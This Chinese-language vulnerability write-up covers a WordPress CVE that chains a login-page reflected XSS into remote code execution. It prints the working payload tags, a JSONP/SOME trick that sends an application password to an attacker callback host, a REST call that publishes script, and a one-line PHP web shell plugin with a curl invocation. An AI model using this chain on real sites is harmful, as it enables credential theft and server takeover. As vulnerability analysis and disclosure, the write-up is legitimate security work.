Make XSS Great Again
Intro
CVE-2026-64638(XSS2Shell)是 WordPress 登录页上的预认证反射型 XSS:攻击者通过钓鱼页,就能在从”一个 < area id=ajaxurl> 标签”走到”在受害者服务器上执行任意命令”。漏洞根源不是某个危险的 PHP 函数,而是 PHP strip_tags() 与 KSES 两个 HTML 解析器对 < 空格 的认知分歧;整条链把 DOM Clobbering、JSONP、SOME、REST API、插件上传五段技术拼成了一条完整的 XSS → RCE 流水线。
| CVE | 类型 | 评分 | 影响版本范围 | 修复版本 |
|---|---|---|---|---|
| CVE-2026-64638 | 1 Click XSS → RCE(XSS2Shell) | 8.9 High | 4.7.0 ~ 7.0.2(约 5 亿站点) | 7.0.3(2026-08-06,回移植到 4.7 起全部维护分支) |
漏洞根源:strip_tags 与 KSES 的解析分歧
整条链的起点是登录表单的 log 参数。看 WordPress 的认证流程:
1 | wp_signon() → wp_authenticate() → wp_authenticate_username_password() |
wp_authenticate() 会先对用户名做 sanitize_user()(非 strict 模式下内部调 wp_strip_all_tags()),但真正出问题的是登录失败后的错误信息渲染。user.php 里 invalid_username 错误把 $username 用 sprintf 原样拼进了 HTML,没有任何 esc_html():

这个错误消息随后经过 login_header() → wp_admin_notice(),最终被 wp_kses_post() 白名单过滤后输出到 #login_error。也就是说:输入先被 strip_tags() 剥了一遍,输出前又被 KSES 白名单过滤——攻击者只需要找到一个两个解析器意见不一致的输入。
分歧点就在 < 后面的空格。
PHP 的 strip_tags() 把 < 后跟字母才当成标签开始,< area(带空格)不是合法标签,原样保留:

wp-includes/formatting.php wp_strip_all_tags():内部就是 strip_tags()
实测:
1 | strip_tags( '<area id=test>' ); // 被剥掉(< 后跟字母 a) |
而 KSES 的 tokenizer 对 < 后的空白非常宽容。外层 token 正则 kses.php:1209 (<[^>]*(>|$)|>) 先把 < area id=…> 整段圈出来,随后提取 tag 名的正则 kses.php:1383:
1 | %^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$% |
< 和标签名之间有一个 \s*——< area 被 KSES 解析成合法的 <area> 元素。而 area、div、button 全部在 $allowedposttags 白名单里:

$allowedposttags 白名单开头:’a’、’abbr’、’area’ 等都在

kses.php:1383:tag 名提取正则,<\s* 允许 < 后跟空白

kses.php:82:’area’ => array( ‘alt’, ‘coords’, ‘href’, … ) 白名单
所以构造一个”被 strip_tags 放行、被 KSES 重建为真实 DOM”的载荷完全可行。登录失败页的 #login_error 里就出现了三个攻击者可控的真实 HTML 元素:

浏览器实测:POST log=< area id=ajaxurl …> 后,登录错误框里 KSES 重建出真实 DOM
攻击入口:钓鱼页 1 Click
前面解决的是”为什么能注入”,现在看攻击者怎么把它送到管理员面前。受害者点开的是攻击者的钓鱼页——伪装成”会话过期”的验证页面,按钮引导管理员进入”重新验证”流程(注意这里只能是 1 Click,因为浏览器要求 window.open 携带瞬态用户激活):

点下按钮后,脚本做两件事——exploit.html 里的点击逻辑:
1 | document.getElementById('start').addEventListener('click', function () { |
受害者点一次按钮,同时发生两件事:
1 | 父窗口(exploit.html)── location.href ──> authorize-application.php ← 停在授权页,等人"点批准" |
于是父窗口停在:
1 | /wp-admin/authorize-application.php?app_name=XSS2Shell-Demo&success_url=http://192.168.1.9:9999/callback |
顺带看一个边界状态:如果管理员此刻没有登录,WordPress 会把授权页 302 到 wp-login.php,redirect_to 指回授权页。但这个状态不能直接利用——父窗口停在登录表单,子窗口的 JSONP 约 3 秒后触发时 window.opener.approve 并不存在,SOME 点击会落空。所以实际利用链要求受害者已登录,父窗口直接渲染授权页、approve 按钮立即可点:

管理员未登录时:wp-login.php 的 redirect_to 指回 authorize-application.php,登录后自动返回授权页
预认证 XSS:三件套注入与自动触发
子窗口(trigger.html)自动提交的登录表单,把 log 参数里的 payload 送进了 wp-login.php(第 2 章已分析它怎么穿过 strip_tags 和 KSES)。失败页渲染后,#login_error 里 KSES 重建出三个元素——它们不是随便选的:
1 | < area id=ajaxurl href="http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1"> |

attacker/server.js 里的 payload 三件套
- < area id=ajaxurl href=…>:DOM Clobbering 用,劫持全局变量 ajaxurl,让 jQuery 把请求发到攻击者控制的 URL(机制见后);
- < div id=color-picker class=reset-pass-submit>:命中 user-profile.js 的自动密码生成逻辑(见下);
- < button class=”wp-generate-pw color-option”>:既是自动触发的目标,又挂在 #color-picker 的 click 委托下,作为真正发出 $.post( ajaxurl ) 的触发器。
三个标签的排列在 KSES 重建后进入 DOM 的真实结构是嵌套的:
1 | <area id="ajaxurl" href="http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1"> |
这个嵌套是触发链的命门:621 行的自动点击和 529 行的委托都要求 button 是 div 的子元素(怎么同时命中的,见下文巧思);area 只需同处一个文档、平级即可劫持 ajaxurl。
三个元素就位后,触发是自动的:wp-login.php 无条件加载了 user-profile 脚本——登录页同时承载密码重置流程,所以这个本应在后台用户资料页才用的脚本在登录页也存在:

wp-login.php:1516 无条件 wp_enqueue_script( ‘user-profile’ )

user-profile.js:620:页面加载后如果存在 .reset-pass-submit,自动 .trigger(‘click’) 点下 .wp-generate-pw 按钮
于是链子自动跑起来:
- 页面加载,$( ‘.reset-pass-submit’ ).length 为真 → 自动 click 我们的 button.wp-generate-pw;
- 该按钮带有 color-option class,命中 #color-picker 上的 click 委托;
- 委托回调执行 $.post( ajaxurl, {…} ),ajaxurl 已被 <area id=ajaxurl> 劫持,请求打到攻击者控制的 URL。
巧思:user-profile.js 里 ajax 调用不止一处,但其他调用要么绑在具体按钮上等真人点击,要么走 wp.ajax.post()——读的是 wp 全局对象,不受 DOM Clobbering 影响;唯独 .color-option 委托回调是无条件的 $.post( ajaxurl ),读的正是可被劫持的全局变量。于是同一个按钮叠两个类,同时命中两个本不相干的开发者选择器:620 行自动点击要找的 button.wp-generate-pw(密码重置逻辑),529 行委托要匹配的 .color-option(配色逻辑)——把两个风马牛不相及的功能桥接成一条零交互的攻击链。

user-profile.js:529-566:#color-picker 委托 .color-option click → 回调里 $.post( ajaxurl, … )
DOM Clobbering:劫持 ajaxurl
<area id=ajaxurl href=…> 就是 DOM Clobbering:id 属性让元素变成 window.ajaxurl(named property),而 HTMLAreaElement 的 href 属性让 jQuery 拿到完整 URL。jQuery 里 s.url = (( url || s.url || location.href ) + “”)——对元素做字符串拼接,触发 toString(),HTMLAreaElement.toString() 返回的就是 href:

jquery.js:9353:s.url = ( ( url || s.url || location.href ) + “” ),对 DOM 元素做 + “” 拿到 href
于是 $.post 实际请求的是:
1 | http://127.0.0.1:18081/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click&_envelope=1 |
JSONP:同源执行
这是 WordPress REST API 的 JSONP 端点(默认开启 rest_jsonp_enabled)。三个参数各有用处:
- _method=GET:jQuery 的 POST 被 REST 当成 GET 处理(REST 支持方法覆盖),绕过 _jsonp 只在 GET 生效的限制;
- jsonp=window.opener.approve.click:回调名,wp_check_jsonp_callback() 只校验 [a-zA-Z0-9.],点号可用,所以可以传属性链;
- _envelope=1:REST 把 401 之类的错误包成外层 200,jQuery 只检查外层状态码。
class-wp-rest-server.php:316 直接取 $_GET[‘_jsonp’]:

class-wp-rest-server.php:316:jsonp_callback 取自 $_GET['_jsonp']
REST 返回的 Content-Type 是 application/javascript,回调名原样拼进响应体(/**/ 前缀是官方防 JSONP Flash 攻击的惯例):

class-wp-rest-server.php:563:JSONP 分支把回调名原样 echo 进响应体
curl 实测响应是:
1 | /**/window.opener.approve.click({...}) |
关键点:这个响应来自 WordPress 源,jQuery 的 dataType 嗅探正则 \b(?:java|ecma)script\b 命中 application/javascript,于是用 globalEval() 在当前页面上下文执行——而当前页面是 wp-login.php,属于 WordPress 源。子窗口 origin 变成了 WordPress:

浏览器实测:JSONP 响应在 wp-login.php 上下文中执行
SOME:隔空点击批准按钮
SOME(Same-Origin Method Execution)核心思路:攻击者页面 window.open 打开受害者站的窗口,页面源一旦变成受害者源(这里是 JSONP 注入),子窗口就能通过 window.opener 反过来操纵父窗口。
现在两扇窗都就位了:父窗口停在授权页(第 3 章),子窗口带着 WordPress 源的执行权(第 6 章)。
父窗口打开的就是这张”应用授权”页——攻击者伪装成会话过期的验证流程,诱导管理员授权一个叫 XSS2Shell-Demo 的”应用”。页面底部就是 id=approve 的提交按钮(红框),也就是 SOME 要隔空点击的目标:

authorize-application.php 把按钮的 name 和 id 都写死了:

authorize-application.php:271:submit_button( … ‘approve’, … ),第三个参数同时成为按钮的 name 和 id
id 属性会让元素注册成该窗口的命名属性(named property),所以 window.opener.approve 精确解析到父窗口里这个提交按钮,.click() 即触发表单提交——JSONP 执行 window.opener.approve.click(),跨窗口点下父窗口的批准按钮。管理员从头到尾没碰过鼠标,应用就授权成功了。服务端 $_POST['approve'] 触发 WP_Application_Passwords::create_new_application_password(),然后 wp_redirect( success_url ) 带着应用密码跳转到攻击者回调:
回调 URL 里带着 password=<应用密码>,被攻击者服务器截获。
注意这个 password 是 WordPress 当场生成的应用密码(Application Password),独立于管理员登录密码——整条攻击链不需要、也拿不到管理员的真实密码。

浏览器实测:授权成功后跳转到攻击者回调,URL 里带着 site_url、user_login 和应用密码
REST 提权:发布恶意页面
拿到应用密码后就是普通的”已认证”调用了。WordPress REST API 支持 HTTP Basic 认证(应用密码本质就是一种 Basic Auth 凭据),而且单站管理员默认拥有 unfiltered_html 权限——REST 发布页面时不会过滤 <script>:

chain.js:Basic Auth + /?rest_route=/wp/v2/pages 发布带 JS 的页面
1 | curl -X POST "$TARGET/?rest_route=/wp/v2/pages" \ |
插件上传 → RCE
恶意页面发布后,怎么让管理员浏览器(还登录着)去访问它?答案是不用管理员动手:SOME 成功后父窗口正停在攻击者的 callback 页,攻击者让 callback 响应直接跳转到这个恶意页面(本地复现脚本等价地做了 page.goto)——同一浏览器上下文、同一会话,页面一加载就带着 admin cookie,页内 JS 自动替管理员完成最后一步:
- fetch(‘/wp-admin/plugin-install.php’) 抓页面里的 _wpnonce;
- 构造 FormData,把恶意 xss2shell.zip 作为 pluginzip 字段;
- POST /wp-admin/update.php?action=upload-plugin 上传。
WordPress 插件上传会把 ZIP 解压到 wp-content/plugins/,不需要激活——解压出来的 PHP 文件直接就能通过 URL 访问。恶意插件里的 shell 就一行:
1 | if ( isset( $_GET['c'] ) ) system( $_GET['c'] ); |
1 | curl "http://127.0.0.1:18081/wp-content/plugins/xss2shell/xss2shell.php?c=id" |

FIX
官方 commit 0d6d42e5093d(”Users: Prevent usernames from mangling HTML”)在 7.0.3 中修复,并回移植到 4.7 起所有维护分支。修复思路很朴素:所有拼进 HTML 的用户输入一律 esc_html():

输出编码才是 HTML 注入的根治手段,依赖 strip_tags()/KSES 白名单做”双保险”本身就是脆弱的——两个解析器对畸形 HTML 的理解差一丁点,就是一条从登录页到 RCE 的链。